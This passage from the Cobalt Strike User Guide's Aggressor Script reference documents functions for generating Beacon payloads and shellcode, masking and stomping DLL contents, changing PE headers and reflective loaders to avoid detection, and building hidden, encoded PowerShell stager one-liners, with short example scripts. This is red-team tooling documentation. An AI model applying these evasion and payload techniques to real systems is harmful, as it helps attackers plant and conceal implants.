AggressorScript/Functions l CobaltStrike'sBeaconhasaprotocoltoacceptartifact-providedfunctionpointersfor functionsrequiredbyBeacon'sReflectiveLoader.Theprotocolistopatchthelocationof GetProcAddressandGetModuleHandleAintotheBeaconDLL.Useofthisprotocol allowsBeacontoloaditselfinmemorywithouttriggeringshellcodedetectionheuristics thatmonitorreadsofkernel32'sExportAddressTable.Thisprotocolisoptional. Artifactsthatdon'tfollowthisprotocolwillfallbacktoresolvingkeyfunctionsviathe ExportAddressTable. l TheArtifactKitandResourceKitbothimplementthisprotocol.Downloadthesekitsto seehowtousethisfunction. Returns TheoffsettoamemorylocationtopatchwithapointerforaspecificfunctionusedbyBeacon's ReflectiveLoader. payload_local ExportsarawpayloadforaspecificCobaltStrikelistener.Usethisfunctionwhenyouplanto spawnthispayloadfromanotherBeaconsession.CobaltStrikewillgenerateapayloadthat embedskeyfunctionpointers,neededtobootstraptheagent,takenfromtheparentsession's metadata. Arguments $1-theparentBeaconsessionID $2-thelistenername $3-x86|x64thearchitectureofthepayload $4-exitmethod:'thread'(leavethethreadwhendone)or'process'(exittheprocesswhen done).Use'thread'ifinjectingintoanexistingprocess. $5-Astringvalueforthesystemcallmethod.Validvaluesare: None:UsethestandardWindowsAPIfunction. Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthefunction. $6-(optional)ThesupportingHTTPlibraryforgeneratedbeacons(wininet|winhttp|$null|blank string). CobaltStrikeUserGuide www.fortra.com page:395

AggressorScript/Functions Returns Ascalarcontainingposition-independentcodeforthespecifiedlistener. Example $data = payload_local($bid, "my listener", "x86", "process", "None"); $handle = openf(">out.bin"); writeb($handle, $data); closef($handle); pe_insert_rich_header InsertrichheaderdataintoBeaconDLLContent.Ifthereisexistingrichheaderinformation,it willbereplaced. Arguments $1-BeaconDLLcontent $2-Richheader Returns UpdatedDLLContent Note Therichheaderlengthshouldbeona4byteboundaryforsubsequentchecksumcalculations. Example

-------------------------------------

Insert (replace) rich header

-------------------------------------

$rich_header = ""; $temp_dll = pe_insert_rich_header($temp_dll, $rich_header); pe_mask CobaltStrikeUserGuide www.fortra.com page:396

AggressorScript/Functions MaskdataintheBeaconDLLContentbasedonpositionandlength. Arguments $1-BeaconDLLcontent $2-Startlocation $3-Lengthtomask $4-Bytevaluemaskkey(int) Returns UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_mask { local('$temp_dll, $start, $length, $maskkey'); local('%pemap'); local('@loc_en, @val_en'); $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

-------------------------------------

%pemap = pedump($temp_dll); @loc_en = values(%pemap, @("Export.Name.")); @val_en = values(%pemap, @("Export.Name.")); if (size(@val_en) != 1) { warn("Unexpected size of export name value array: " . size(@val_en)); } else { warn("Current export value: " . @val_en[0]); } if (size(@loc_en) != 1) { warn("Unexpected size of export location array: " . size(@loc_en)); } else { CobaltStrikeUserGuide www.fortra.com page:397

AggressorScript/Functions warn("Current export name location: " . @loc_en[0]); }

-------------------------------------

Set parameters (parse number as base 10)

-------------------------------------

$start = parseNumber(@loc_en[0], 10); $length = 4; $maskkey = 22;

-------------------------------------

mask some data in a dll

-------------------------------------

warn("pe_mask(dll, " . $start . ", " . $length . ", " . $maskkey . ")");

$temp_dll = pe_mask($temp_dll, $start, $length, $maskkey);

dump_my_pe($temp_dll);

-------------------------------------

un-mask (running the same mask a second time should "un-mask")

(This would normally be done by the reflective loader)

-------------------------------------

warn("pe_mask(dll, " . $start . ", " . $length . ", " . $maskkey . ")");

$temp_dll = pe_mask($temp_dll, $start, $length, $maskkey);

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_mask_section MaskdataintheBeaconDLLContentbasedonpositionandlength. Arguments $1-BeaconDLLcontent $2-Sectionname $3-Bytevaluemaskkey(int) Returns CobaltStrikeUserGuide www.fortra.com page:398

AggressorScript/Functions UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_mask_section { local('$temp_dll, $section_name, $maskkey'); local('@loc_en, @val_en'); $temp_dll = $1;

-------------------------------------

Set parameters

-------------------------------------

$section_name = ".text"; $maskkey = 23;

-------------------------------------

mask a section in a dll

-------------------------------------

warn("pe_mask_section(dll, " . $section_name . ", " . $maskkey . ")");

$temp_dll = pe_mask_section($temp_dll, $section_name, $maskkey);

dump_my_pe($temp_dll);

-------------------------------------

un-mask (running the same mask a second time should "un-mask")

(This would normally be done by the reflective loader)

-------------------------------------

warn("pe_mask_section(dll, " . $section_name . ", " . $maskkey . ")");

$temp_dll = pe_mask_section($temp_dll, $section_name, $maskkey);

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_mask_string CobaltStrikeUserGuide www.fortra.com page:399

AggressorScript/Functions MaskastringintheBeaconDLLContentbasedonposition. Arguments $1-BeaconDLLcontent $2-Startlocation $3-Bytevaluemaskkey(int) Returns UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_mask_string { local('$temp_dll, $location, $length, $maskkey'); local('%pemap'); local('@loc); $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

-------------------------------------

%pemap = pedump($temp_dll); @loc = values(%pemap, @("Sections.AddressOfName.0.")); if (size(@loc) != 1) { warn("Unexpected size of section name location array: " . size(@loc)); } else { warn("Current section name location: " . @loc[0]); }

-------------------------------------

Set parameters

-------------------------------------

$location = @loc[0]; $length = 5; $maskkey = 23; CobaltStrikeUserGuide www.fortra.com page:400

AggressorScript/Functions

-------------------------------------

pe_mask_string (mask a string in a dll)

-------------------------------------

warn("pe_mask_string(dll, " . $location . ", " . $maskkey . ")");

$temp_dll = pe_mask_string($temp_dll, $location, $maskkey);

dump_my_pe($temp_dll);

-------------------------------------

un-mask (running the same mask a second time should "un-mask")

we are unmasking the length of the string and the null character

(This would normally be done by the reflective loader)

-------------------------------------

warn("pe_mask(dll, " . $location . ", " . $length . ", " . $maskkey .

")");

$temp_dll = pe_mask($temp_dll, $location, $length, $maskkey);

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_patch_code PatchcodeintheBeaconDLLContentbasedonfind/replacein'.text'section'. Arguments $1-BeaconDLLcontent $2-bytearraytofindforresolveoffset $3-bytearrayplaceatresolvedoffset(overwritedata) Returns UpdatedDLLContent Example CobaltStrikeUserGuide www.fortra.com page:401

AggressorScript/Functions

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_patch_code { local('$temp_dll, $findme, $replacement'); $temp_dll = $1;

====== simple text values ======

$findme = "abcABC123"; $replacement = "123ABCabc";

warn("pe_patch_code(dll, " . $findme . ", " . $replacement . ")");

$temp_dll = pe_patch_code($temp_dll, $findme, $replacement);

====== byte array as a hex string ======

$findme = "\x01\x02\x03\xfc\xfe\xff"; $replacement = "\x01\x02\x03\xfc\xfe\xff";

warn("pe_patch_code(dll, " . $findme . ", " . $replacement . ")");

$temp_dll = pe_patch_code($temp_dll, $findme, $replacement);

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_remove_rich_header RemovetherichheaderfromBeaconDLLContent. Arguments $1-BeaconDLLcontent Returns UpdatedDLLContent Example CobaltStrikeUserGuide www.fortra.com page:402

AggressorScript/Functions

-------------------------------------

Remove/Replace Rich Header

-------------------------------------

$temp_dll = pe_remove_rich_header($temp_dll); pe_set_compile_time_with_long SetthecompiletimeintheBeaconDLLContent. Arguments $1-BeaconDLLcontent $2-CompileTime(asalonginmilliseconds) Returns UpdatedDLLContent Example

date is in milliseconds ("1893521594000" = "01 Jan 2030 12:13:14")

$date = 1893521594000; $temp_dll = pe_set_compile_time_with_long($temp_dll, $date);

date is in milliseconds ("1700000001000" = "14 Nov 2023 16:13:21")

$date = 1700000001000; $temp_dll = pe_set_compile_time_with_long($temp_dll, $date); pe_set_compile_time_with_string SetthecompiletimeintheBeaconDLLContent. Arguments $1-BeaconDLLcontent $2-CompileTime(asastring) Returns UpdatedDLLContent CobaltStrikeUserGuide www.fortra.com page:403

AggressorScript/Functions Example

("01 Jan 2020 15:16:17" = "1577913377000")

$strTime = "01 Jan 2020 15:16:17"; $temp_dll = pe_set_compile_time_with_string($temp_dll, $strTime); pe_set_export_name SettheexportnameintheBeaconDLLContent. Arguments $1-BeaconDLLcontent Returns UpdatedDLLContent Note Thenamemustexistinthestringtable. Example

-------------------------------------

name must be in strings table...

-------------------------------------

$export_name = "WININET.dll"; $temp_dll = pe_set_export_name($temp_dll, $export_name); $export_name = "beacon.dll"; $temp_dll = pe_set_export_name($temp_dll, $export_name); pe_set_long Placesalongvalueataspecifiedlocation. Arguments $1-BeaconDLLcontent CobaltStrikeUserGuide www.fortra.com page:404

AggressorScript/Functions $2-Location $3-Value Returns UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_set_long { local('$temp_dll, $int_offset, $long_value'); local('%pemap'); local('@loc_cs, @val_cs'); $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

-------------------------------------

%pemap = pedump($temp_dll); @loc_cs = values(%pemap, @("CheckSum.")); @val_cs = values(%pemap, @("CheckSum.")); if (size(@val_cs) != 1) { warn("Unexpected size of checksum value array: " . size(@val_cs)); } else { warn("Current checksum value: " . @val_cs[0]); } if (size(@loc_cs) != 1) { warn("Unexpected size of checksum location array: " . size(@loc_cs)); } else { warn("Current checksum location: " . @loc_cs[0]); }

-------------------------------------

Set parameters (parse number as base 10)

-------------------------------------

$int_offset = parseNumber(@loc_cs[0], 10); $long_value = 98765; CobaltStrikeUserGuide www.fortra.com page:405

AggressorScript/Functions

-------------------------------------

pe_set_long (set a long value)

-------------------------------------

warn("pe_set_long(dll, " . $int_offset . ", " . $long_value . ")");

$temp_dll = pe_set_long($temp_dll, $int_offset, $long_value);

-------------------------------------

Did it work?

-------------------------------------

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_set_short Placesashortvalueataspecifiedlocation. Arguments $1-BeaconDLLcontent $2-Location $3-Value Returns UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_set_short { local('$temp_dll, $int_offset, $short_value'); local('%pemap'); local('@loc, @val'); CobaltStrikeUserGuide www.fortra.com page:406

AggressorScript/Functions $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

-------------------------------------

%pemap = pedump($temp_dll); @loc = values(%pemap, @(".text.NumberOfRelocations.")); @val = values(%pemap, @(".text.NumberOfRelocations.")); if (size(@val) != 1) { warn("Unexpected size of .text.NumberOfRelocations value array: " . size(@val)); } else { warn("Current .text.NumberOfRelocations value: " . @val[0]); } if (size(@loc) != 1) { warn("Unexpected size of .text.NumberOfRelocations location array: " . size (@loc)); } else { warn("Current .text.NumberOfRelocations location: " . @loc[0]); }

-------------------------------------

Set parameters (parse number as base 10)

-------------------------------------

$int_offset = parseNumber(@loc[0], 10); $short_value = 128;

-------------------------------------

pe_set_short (set a short value)

-------------------------------------

warn("pe_set_short(dll, " . $int_offset . ", " . $short_value . ")");

$temp_dll = pe_set_short($temp_dll, $int_offset, $short_value);

-------------------------------------

Did it work?

-------------------------------------

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_set_string CobaltStrikeUserGuide www.fortra.com page:407

AggressorScript/Functions Placesastringvalueataspecifiedlocation. Arguments $1-BeaconDLLcontent $2-Startlocation $3-Value Returns UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_set_string { local('$temp_dll, $location, $value'); local('%pemap'); local('@loc_en, @val_en'); $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

-------------------------------------

%pemap = pedump($temp_dll); @loc_en = values(%pemap, @("Export.Name.")); @val_en = values(%pemap, @("Export.Name.")); if (size(@val_en) != 1) { warn("Unexpected size of export name value array: " . size(@val_en)); } else { warn("Current export value: " . @val_en[0]); } if (size(@loc_en) != 1) { warn("Unexpected size of export location array: " . size(@loc_en)); } else { warn("Current export name location: " . @loc_en[0]); } CobaltStrikeUserGuide www.fortra.com page:408

AggressorScript/Functions

-------------------------------------

Set parameters (parse number as base 10)

-------------------------------------

$location = parseNumber(@loc_en[0], 10); $value = "BEECON.DLL";

-------------------------------------

pe_set_string (set a string value)

-------------------------------------

warn("pe_set_string(dll, " . $location . ", " . $value . ")");

$temp_dll = pe_set_string($temp_dll, $location, $value);

-------------------------------------

Did it work?

-------------------------------------

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_set_stringz Placesastringvalueataspecifiedlocationandaddsazeroterminator. Arguments $1-BeaconDLLcontent $2-Startlocation $3-Stringtoset Returns UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

CobaltStrikeUserGuide www.fortra.com page:409

AggressorScript/Functions

===========================================================================

sub demo_pe_set_stringz { local('$temp_dll, $offset, $value'); local('%pemap'); local('@loc'); $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

-------------------------------------

%pemap = pedump($temp_dll); @loc = values(%pemap, @("Sections.AddressOfName.0.")); if (size(@loc) != 1) { warn("Unexpected size of section name location array: " . size(@loc)); } else { warn("Current section name location: " . @loc[0]); }

-------------------------------------

Set parameters (parse number as base 10)

-------------------------------------

$offset = parseNumber(@loc[0], 10); $value = "abc";

-------------------------------------

pe_set_stringz

-------------------------------------

warn("pe_set_stringz(dll, " . $offset . ", " . $value . ")");

$temp_dll = pe_set_stringz($temp_dll, $offset, $value);

-------------------------------------

Did it work?

-------------------------------------

dump_my_pe($temp_dll);

-------------------------------------

Set parameters

-------------------------------------

$offset = parseNumber(@loc[0], 10);

$value = ".tex";

-------------------------------------

pe_set_string (set a string value)

-------------------------------------

warn("pe_set_string(dll, " . $offset . ", " . $value . ")");

CobaltStrikeUserGuide www.fortra.com page:410

AggressorScript/Functions

$temp_dll = pe_set_string($temp_dll, $offset, $value);

-------------------------------------

Did it work?

-------------------------------------

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_set_value_at SetsalongvaluebasedonthelocationresolvedbyanamefromthePEMap(seepedump). Arguments $1-BeaconDLLcontent $2-Nameoflocationfield $3-Value Returns UpdatedDLLContent Example

===========================================================================

$1 = DLL content

===========================================================================

sub demo_pe_set_value_at { local('$temp_dll, $name, $long_value, $date'); local('%pemap'); local('@loc, @val'); $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

CobaltStrikeUserGuide www.fortra.com page:411

AggressorScript/Functions

-------------------------------------

%pemap = pedump($temp_dll);

@loc = values(%pemap, @("SizeOfImage."));

@val = values(%pemap, @("SizeOfImage."));

if (size(@val) != 1) {

warn("Unexpected size of SizeOfImage. value array: " . size(@val));

} else {

warn("Current SizeOfImage. value: " . @val[0]);

}

if (size(@loc) != 1) {

warn("Unexpected size of SizeOfImage location array: " . size(@loc));

} else {

warn("Current SizeOfImage. location: " . @loc[0]);

}

-------------------------------------

Set parameters

-------------------------------------

$name = "SizeOfImage"; $long_value = 22334455;

-------------------------------------

pe_set_value_at (set a long value at the location resolved by name)

-------------------------------------

$1 = DLL (byte array)

$2 = name (string)

$3 = value (long)

-------------------------------------

warn("pe_set_value_at(dll, " . $name . ", " . $long_value . ")"); $temp_dll = pe_set_value_at($temp_dll, $name, $long_value);

-------------------------------------

Did it work?

-------------------------------------

dump_my_pe($temp_dll);

-------------------------------------

set it back?

-------------------------------------

warn("pe_set_value_at(dll, " . $name . ", " . @val[0] . ")");

$temp_dll = pe_set_value_at($temp_dll, $name, @val[0]);

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

CobaltStrikeUserGuide www.fortra.com page:412

AggressorScript/Functions

-------------------------------------

return $temp_dll; } pe_stomp Setastringtonullcharacters.Startataspecifiedlocationandsetsallcharacterstonulluntila nullstringterminatorisreached. Arguments $1-BeaconDLLcontent $2-Startlocation Returns UpdatedDLLContent Example

===========================================================================

$1 = Beacon DLL content

===========================================================================

sub demo_pe_stomp { local('$temp_dll, $offset, $value, $old_name'); local('%pemap'); local('@loc, @val'); $temp_dll = $1;

-------------------------------------

Inspect the current DLL...

-------------------------------------

%pemap = pedump($temp_dll); @loc = values(%pemap, @("Sections.AddressOfName.1.")); @val = values(%pemap, @("Sections.AddressOfName.1.")); if (size(@val) != 1) { warn("Unexpected size of Sections.AddressOfName.1 value array: " . size(@val)); } else { warn("Current Sections.AddressOfName.1 value: " . @val[0]); } CobaltStrikeUserGuide www.fortra.com page:413

AggressorScript/Functions if (size(@loc) != 1) { warn("Unexpected size of Sections.AddressOfName.1 location array: " . size (@loc)); } else { warn("Current Sections.AddressOfName.1 location: " . @loc[0]); }

-------------------------------------

Set parameters (parse number as base 10)

-------------------------------------

$location = parseNumber(@loc[0], 10);

-------------------------------------

pe_stomp (stomp a string at a location)

-------------------------------------

warn("pe_stomp(dll, " . $location . ")");

$temp_dll = pe_stomp($temp_dll, $location);

-------------------------------------

Did it work?

-------------------------------------

dump_my_pe($temp_dll);

-------------------------------------

All Done! Give back edited DLL!

-------------------------------------

return $temp_dll; } pe_update_checksum UpdatethechecksumintheBeaconDLLContent. Arguments $1-BeaconDLLcontent Returns UpdatedDLLContent Note Thisshouldbethelasttransformationperformed. CobaltStrikeUserGuide www.fortra.com page:414

AggressorScript/Functions Example

-------------------------------------

update checksum

-------------------------------------

$temp_dll = pe_update_checksum($temp_dll); pedump ParseanexecutableBeaconintoamapofthePEHeaderinformation.Theparsedinformation canbeusedforresearchorprogrammaticallytomakechangestotheBeacon. Arguments $1-BeaconDLLcontent Returns Amapoftheparsedinformation.Themapdataisverysimilartothe"./peclonedump[file]" commandoutput. Example

===========================================================================

'case insensitive sort' from sleep manual...

===========================================================================

sub caseInsensitiveCompare { $a = lc($1); $b = lc($2); return $a cmp $b; }

===========================================================================

Dump PE Information

$1 = Beacon DLL content

===========================================================================

sub dump_my_pe { local('$out $key $val %pemap @sorted_keys'); %pemap = pedump($1);

---------------------------------------------------

CobaltStrikeUserGuide www.fortra.com page:415

AggressorScript/Functions

Example listing all items from hash/map...

---------------------------------------------------

@sorted_keys = sort(&caseInsensitiveCompare, keys(%pemap)); foreach $key (@sorted_keys) { $out = "$[50]key"; foreach $val (values(%pemap, @($key))) { $out .= " $val"; println($out); } }

---------------------------------------------------

Example of grabbing specific items from hash/map...

---------------------------------------------------

local('@loc_cs @val_cs'); @loc_cs = values(%pemap, @("CheckSum.")); @val_cs = values(%pemap, @("CheckSum.")); println(""); println("My DLL CheckSum Location: " . @loc_cs); println("My DLL CheckSum Value: " . @val_cs); println(""); } Seealso ./peclonedump[file] pgraph GeneratethepivotgraphGUIcomponent. Returns ThepivotgraphGUIobject(ajavax.swing.JComponent) Example addVisualization("Pivot Graph", pgraph()); Seealso CobaltStrikeUserGuide www.fortra.com page:416

AggressorScript/Functions &showVisualization pivots ReturnsalistofSOCKSpivotsfromCobaltStrike'sdatamodel. Returns Anarrayofdictionaryobjectswithinformationabouteachpivot. Example printAll(pivots()); popup_clear Removeallpopupmenusassociatedwiththecurrentmenu.ThisisawaytooverrideCobalt Strike'sdefaultpopupmenudefinitions. Arguments $1-thepopuphooktoclearregisteredmenusfor Example popup_clear("help"); popup help { item "My stuff!" { show_message("This is my menu!"); } } powershell DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &artifact_stager and &powershell_command instead. ReturnsaPowerShellone-linertobootstrapthespecifiedlistener. Arguments CobaltStrikeUserGuide www.fortra.com page:417

AggressorScript/Functions $1-thelistenername $2-[true/false]:isthislistenertargetinglocalhost? $3-x86|x64-thearchitectureofthegeneratedstager. Notes Beawarethatnotalllistenerconfigurationshavex64stagers.Ifindoubt,usex86. Returns APowerShellone-linertorunthespecifiedlistener. Example println(powershell("my listener", false)); powershell_command Returnsaone-linertorunaPowerShellexpression(e.g.,powershell.exe -nop -w hidden -encodedcommand MgAgACsAIAAyAA==) Arguments $1-thePowerShellexpressiontowrapintoaone-liner. $2-willthePowerShellcommandrunonaremotetarget? Returns Returnsapowershell.exeone-linertorunthespecifiedexpression. Example $cmd = powershell_command("2 + 2", false); println($cmd); powershell_compress CompressesaPowerShellscriptandwrapsitinascripttodecompressandexecuteit. CobaltStrikeUserGuide www.fortra.com page:418

AggressorScript/Functions Arguments $1-thePowerShellscripttocompress. Example $script = powershell_compress("2 + 2"); powershell_encode_oneliner DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &powershell_command instead. Returnsaone-linertorunaPowerShellexpression(e.g.,powershell.exe -nop -w hidden -encodedcommand MgAgACsAIAAyAA==) Arguments $1-thePowerShellexpressiontowrapintoaone-liner. Returnsapowershell.exeone-linertorunthespecifiedexpression. Example $cmd = powershell_encode_oneliner("2 + 2"); println($cmd); powershell_encode_stager DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &artifact_general and &powershell_command instead. Returnsabase64encodedPowerShellscripttorunthespecifiedshellcode Arguments $1-shellcodetowrap Returns Returnsabase64encodedPowerShellsuitableforusewithpowershell.exe's-encoption. CobaltStrikeUserGuide www.fortra.com page:419

AggressorScript/Functions Example $shellcode = shellcode("my listener", false); $readytouse = powershell_encode_stager($shellcode); println("powershell.exe -ep bypass -enc $readytouse"); pref_get GrabsastringvaluefromCobaltStrike'spreferences. Arguments $1-thepreferencename $2-thedefaultvalue[ifthereisnovalueforthispreference] Returns Astringwiththepreferencevalue. Example $foo = pref_get("foo.string", "bar"); pref_get_list GrabsalistvaluefromCobaltStrike'spreferences. Arguments $1-thepreferencename Returns Anarraywiththepreferencevalues Example @foo = pref_get_list("foo.list"); CobaltStrikeUserGuide www.fortra.com page:420

AggressorScript/Functions pref_set SetavalueinCobaltStrike'spreferences Arguments $1-thepreferencename $2-thepreferencevalue Example pref_set("foo.string", "baz!"); pref_set_list StoresalistvalueintoCobaltStrike'spreferences. Arguments $1-thepreferencename $2-anarrayofvaluesforthispreference Example pref_set_list("foo.list", @("a", "b", "c")); previousTab Activatethetabthatistotheleftofthecurrenttab. Example bind Ctrl+Left { previousTab(); } process_browser CobaltStrikeUserGuide www.fortra.com page:421

AggressorScript/Functions OpenstheProcessBrowser.Thisfunctiondoesnothaveanyparameters. privmsg Postaprivatemessagetoauserintheeventlog Arguments $1-whotosendthemessageto $2-themessage Example privmsg("raffi", "what's up man?"); prompt_confirm ShowadialogwithYes/Nobuttons.Iftheuserpressesyes,callthespecifiedfunction. Arguments $1-textinthedialog $2-titleofthedialog $3-acallbackfunction.Calledwhentheuserpressesyes. Example prompt_confirm("Do you feel lucky?", "Do you?", { show_mesage("Ok, I got nothing"); }); prompt_directory_open Showadirectoryopendialog. Arguments CobaltStrikeUserGuide www.fortra.com page:422

AggressorScript/Functions $1-titleofthedialog $2-defaultvalue $3-true/false:allowusertoselectmultiplefolders? $4-acallbackfunction.Calledwhentheuserchoosesafolder.Theargumenttothecallbackis theselectedfolder.Ifmultiplefoldersareselected,theywillstillbespecifiedasthefirst argument,separatedbycommas. Example prompt_directory_open("Choose a folder", $null, false, { show_message("You chose: $1"); }); prompt_file_open Showafileopendialog. Arguments $1-titleofthedialog $2-defaultvalue $3-true/false:allowusertoselectmultiplefiles? $4-acallbackfunction.Calledwhentheuserchoosesafiletoopen.Theargumenttothe callbackistheselectedfile.Ifmultiplefilesareselected,theywillstillbespecifiedasthefirst argument,separatedbycommas. Example prompt_file_open("Choose a file", $null, false, { show_message("You chose: $1"); }); prompt_file_save Showafilesavedialog. CobaltStrikeUserGuide www.fortra.com page:423

AggressorScript/Functions Arguments $1-defaultvalue $2-acallbackfunction.Calledwhentheuserchoosesafilename.Theargumenttothecallback isthedesiredfile. Example prompt_file_save($null, { local('$handle'); $handle = openf("> $+ $1"); println($handle, "I am content"); closef($handle); }); prompt_text Showadialogthataskstheuserfortext. Arguments $1-textinthedialog $2-defaultvalueinthetextfield. $3-acallbackfunction.CalledwhentheuserpressesOK.Thefirstargumenttothiscallbackis thetexttheuserprovided. Example prompt_text("What is your name?", "Cyber Bob", { show_mesage("Hi $1 $+ , nice to meet you!"); }); range Generateanarrayofnumbersbasedonastringdescriptionofranges. Arguments CobaltStrikeUserGuide www.fortra.com page:424

AggressorScript/Functions $1-astringwithadescriptionofranges Range Result 103 Thenumber103 3-8 Thenumbers3,4,5,6,and7. 2,4-6 Thenumbers2,4,and5. Returns Anarrayofnumberswithinthespecifiedranges. Example printAll(range("2,4-6")); redactobject Removesapost-exploitationobject(e.g.,screenshot,keystrokebuffer)fromtheuserinterface. Arguments $1-theIDofthepost-exploitationobject. removeTab Closetheactivetab Example bind Ctrl+D { removeTab(); } resetData ResetCobaltStrike'sdatamodel. say CobaltStrikeUserGuide www.fortra.com page:425

AggressorScript/Functions Postapublicchatmessagetotheeventlog. Arguments $1-themessage Example say("Hello World!"); sbrowser GeneratethesessionbrowserGUIcomponent.ShowsBeaconANDSSHsessions. Returns ThesessionbrowserGUIobject(ajavax.swing.JComponent) Example addVisualization("Session Browser", sbrowser()); Seealso &showVisualization screenshots ReturnsalistofscreenshotsfromCobaltStrike'sdatamodel. Returns Anarrayofdictionaryobjectswithinformationabouteachscreenshot. Example printAll(screenshots()); script_resource CobaltStrikeUserGuide www.fortra.com page:426

AggressorScript/Functions Returnsthefullpathtoaresourcethatisstoredrelativetothisscriptfile. Arguments $1-thefiletogetapathfor Returns Thefullpathtothespecifiedfile. Example println(script_resource("dummy.txt")); separator Insertaseparatorintothecurrentmenutree. Example popup foo { item "Stuff" { ... } separator(); item "Other Stuff" { ... } } services ReturnsalistofservicesinCobaltStrike'sdatamodel. Returns Anarrayofdictionaryobjectswithinformationabouteachservice. Example printAll(services()); setup_reflective_loader CobaltStrikeUserGuide www.fortra.com page:427

AggressorScript/Functions Insertthereflectiveloaderexecutablecodeintoabeaconpayload. Arguments $1-Originalbeaconexecutablepayload. $2-UserdefinedReflectiveLoaderexecutabledata. Returns Thebeaconexecutablepayloadupdatedwiththeuserdefinedreflectiveloader.$nullifthereis anerror. Notes TheuserdefinedReflectiveLoadermustbelessthan5k. Example SeeBEACON_RDLL_GENERATEhook

---------------------------------------------------------------------

Replace the beacons default loader with '$loader'.

---------------------------------------------------------------------

$temp_dll = setup_reflective_loader($2, $loader); setup_strings ApplythestringsdefinedintheMalleableC2profiletothebeaconpayload. Arguments $1beaconpayloadtomodify Returns Theupdatedbeaconpayloadwiththedefinedstringsappliedtothepayload. Example SeeBEACON_RDLL_GENERATEhook CobaltStrikeUserGuide www.fortra.com page:428

AggressorScript/Functions

Apply strings to the beacon payload.

$temp_dll = setup_strings($temp_dll); setup_transformations ApplythetransformationsrulesdefinedintheMalleableC2profiletothebeaconpayload. Arguments $1Beaconpayloadtomodify $2Beaconarchitecture(x86/x64) Returns Theupdatedbeaconpayloadwiththetransformationsappliedtothepayload. Example SeeBEACON_RDLL_GENERATEhook

Apply the transformations to the beacon payload.

$temp_dll = setup_transformations($temp_dll, $arch); shellcode DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &stager instead. ReturnsrawshellcodeforaspecificCobaltStrikelistener Arguments $1-thelistenername $2-true/false:isthisshellcodedestinedforaremotetarget? $3-x86|x64-thearchitectureofthestageroutput. Note Beawarethatnotalllistenerconfigurationshavex64stagers.Ifindoubt,usex86. CobaltStrikeUserGuide www.fortra.com page:429

AggressorScript/Functions Returns Ascalarcontainingshellcodeforthespecifiedlistener. Example $data = shellcode("my listener", false, "x86"); $handle = openf(">out.bin"); writeb($handle, $data); closef($handle); showVisualization SwitchCobaltStrikevisualizationtoaregisteredvisualization. Arguments $1-thenameofthevisualization Example bind Ctrl+H { showVisualization("Hello World"); } Seealso &showVisualization show_error Showsanerrormessagetotheuserinadialogbox.Usethisfunctiontorelayerrorinformation. Arguments $1-themessagetext Example CobaltStrikeUserGuide www.fortra.com page:430

AggressorScript/Functions show_error("You did something bad."); show_message Showsamessagetotheuserinadialogbox.Usethisfunctiontorelayinformation. Arguments $1-themessagetext Example show_message("You've won a free ringtone"); site_host HostcontentonCobaltStrike'swebserver Arguments $1-thehostforthissite(&localipisagooddefault) $2-theport(e.g.,80) $3-theURI(e.g.,/foo) $4-thecontenttohost(asastring) $5-themime-type(e.g.,"text/plain") $6-adescriptionofthecontent.ShowninSite Management -> Manage. $7-useSSLornot(trueorfalse) Returns TheURLtothishostedsite Example site_host(localip(), 80, "/", "Hello World!", "text/plain", "Hello World Page", false); CobaltStrikeUserGuide www.fortra.com page:431

AggressorScript/Functions site_kill RemoveasitefromCobaltStrike'swebserver Arguments $1-theport $2-theURI Example

removes the content bound to / on port 80

site_kill(80, "/"); sites ReturnsalistofsitestiedtoCobaltStrike'swebserver. Returns Anarrayofdictionaryobjectswithinformationabouteachregisteredsite. Example printAll(sites()); ssh_command_describe DescribeanSSHcommand. Returns AstringdescriptionoftheSSHcommand. Arguments $1-thecommand Example CobaltStrikeUserGuide www.fortra.com page:432

AggressorScript/Functions println(ssh_command_describe("sudo")); ssh_command_detail GetthehelpinformationforanSSHcommand. Returns AstringwithhelpfulinformationaboutanSSHcommand. Arguments $1-thecommand Example println(ssh_command_detail("sudo")); ssh_command_register RegisterhelpinformationforanSSHconsolecommand. Arguments $1-thecommand $2-theshortdescriptionofthecommand $3-thelong-formhelpforthecommand. Example ssh_alias echo { blog($1, "You typed: " . substr($1, 5)); } ssh_command_register( "echo", "echo posts to the current session's log", "Synopsis: echo [arguments]\n\nLog arguments to the SSH console"); CobaltStrikeUserGuide www.fortra.com page:433

